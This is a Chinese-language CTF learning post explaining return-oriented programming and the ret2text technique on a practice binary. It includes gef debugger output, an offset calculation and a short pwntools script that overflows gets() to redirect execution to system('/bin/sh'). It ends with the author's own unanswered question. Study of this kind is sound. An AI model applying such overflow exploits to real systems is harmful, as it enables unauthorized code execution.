隨著 NX 保護的開啟,以往直接向棧或者堆上直接注入代碼的方式難以繼續(xù)發(fā)揮效果。攻擊者們也提出來相應(yīng)的方法來繞過保護,目前主要的是 ROP(Return Oriented Programming),其主要思想是在棧緩沖區(qū)溢出的基礎(chǔ)上,利用程序中已有的小片段( gadgets )來改變某些寄存器或者變量的值,從而控制程序的執(zhí)行流程。所謂gadgets 就是以 ret 結(jié)尾的指令序列,通過這些指令序列,我們可以修改某些地址的內(nèi)容,方便控制程序的執(zhí)行流程。
之所以稱之為 ROP,是因為核心在于利用了指令集中的 ret 指令,改變了指令流的執(zhí)行順序。ROP 攻擊一般得滿足如下條件
程序存在溢出,并且可以控制返回地址。
可以找到滿足條件的 gadgets 以及相應(yīng) gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我們就需要想辦法動態(tài)獲取對應(yīng)的地址了。
ret2text
原理
ret2text 即控制程序執(zhí)行程序本身已有的的代碼(.text)。其實,這種攻擊方法是一種籠統(tǒng)的描述。我們控制執(zhí)行程序已有的代碼的時候也可以控制程序執(zhí)行好幾段不相鄰的程序已有的代碼(也就是 gadgets),這就是我們所要說的ROP。
這時,我們需要知道對應(yīng)返回的代碼的位置。當(dāng)然程序也可能會開啟某些保護,我們需要想辦法去繞過這些保護。
例子
其實,在棧溢出的基本原理中,我們已經(jīng)介紹了這一簡單的攻擊。在這里,我們再給出另外一個例子,bamboofox 中介紹 ROP 時使用的 ret2text 的例子。
點擊下載: ret2text
首先,查看一下程序的保護機制

可以看到僅僅開啟了棧不可執(zhí)行保護。
使用IDA查看源碼

可以看出程序在主函數(shù)中使用了 gets 函數(shù),顯然存在棧溢出漏洞。gets本身是一個危險函數(shù)。而它因為其從不檢查輸入字符串的長度,而是以回車來判斷是否輸入結(jié)束,所以很容易可以導(dǎo)致棧溢出,

之后又發(fā)現(xiàn)secure函數(shù)存在調(diào)用system("/bin/sh")函數(shù),那么如果我們直接控制程序返回至 0x0804863A,那么就可以得到系統(tǒng)的 shell 了。
下面就是我們?nèi)绾螛?gòu)造 payload 了
可以看到該字符串是通過相對于 esp 的索引,所以我們需要進行調(diào)試,將斷點下在 call 處,查看 esp,ebp,如下
gef? b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef? r
There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
可以看到 esp 為 0xffffcd40,ebp 為具體的 payload 如下 0xffffcdc8,同時 s 相對于 esp 的索引為 [esp+0x1c],所以,s 的地址為 0xffffcd5c,所以 s 相對于 ebp 的偏移為 0x6C,所以相對于返回地址的偏移為 0x6c+4。
最后的 payload 如下:
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
存在的疑問 (求大佬解釋下。。)
在求s相對于ebp的偏移時,我直接使用了IDA中s顯示的ebp偏移
但是和以esp為索引求出來的偏移不同
實在不懂是為什么
參考
ctf wiki